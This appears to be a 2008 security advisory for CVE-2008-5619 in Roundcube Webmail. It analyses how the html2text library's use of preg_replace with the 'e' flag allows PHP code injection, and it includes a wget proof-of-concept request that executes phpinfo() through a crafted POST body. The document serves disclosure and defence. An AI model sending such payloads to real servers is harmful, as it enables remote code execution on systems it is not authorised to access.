Roundcube Webmail 0.2-3 Beta - Code Execution

Public Release Date of POC: 2008-12-22

Author: Jacobo Avariento Gimeno (Sofistic)

CVE id: CVE-2008-5619

Bugtraq id: 32799

Severity: Critical

Vulnerability reported by: RealMurphy





Intro

----

Roundcube Webmail is a browser-based IMAP client that uses

"chuggnutt.com HTML to Plain Text Conversion" library to convert

HTML text to plain text, this library uses the preg_replace PHP

function in an insecure manner.



Vulnerable versions:

Round Cube RoundCube Webmail 0.2-3 beta

Round Cube RoundCube Webmail 0.2-1 alpha (tested)





Analysis of the vulnerable code

----

The script bin/html2text.php creates an instance of the class html2text

with the given POST data, the problem arises in the file

program/lib/html2text.php in function _convert() on line 381:



        // Run our defined search-and-replace

        $text = preg_replace($this->search, $this->replace, $text);



Some patterns in $this->search allow interpret PHP code using the "e"

flag, i.e.:

'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">

'/<b[^>]*>(.+?)<\/b>/ie',                // <b>

'/<th[^>]*>(.+?)<\/th>/ie',              // <th> and </th>



In concrete those would be replaced by:

'$this->_build_link_list("\\2", "\\3")', // <a href="">

'strtoupper("\\1")',                    // <b>

"strtoupper(\"\t\t\\1\n\")",            // <th> and </th>



Now using PHP complex (curly) syntax we can take advantage of this to

interpret arbitrary PHP code, evaluating PHP code embedded inside

strings.





Proof of Concept

----

As this vulnerability was discovered in-the-wild:

http://trac.roundcube.net/ticket/1485618 was quite sure that would be

exploitable, using PHP curly we can execute phpinfo():



wget -q --header="Content-Type: ''" \

-O - --post-data='<b>{${phpinfo()}}</b>' \

--no-check-certificate \

http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php



Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc

to avoid using single or double quotes the arbitrary shell command

execution is fully feasible. As this vulnerability was discovered last

week no more details will be published yet, more info will be available

at http://sofistic.net.







-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net 



# milw0rm.com [2008-12-22]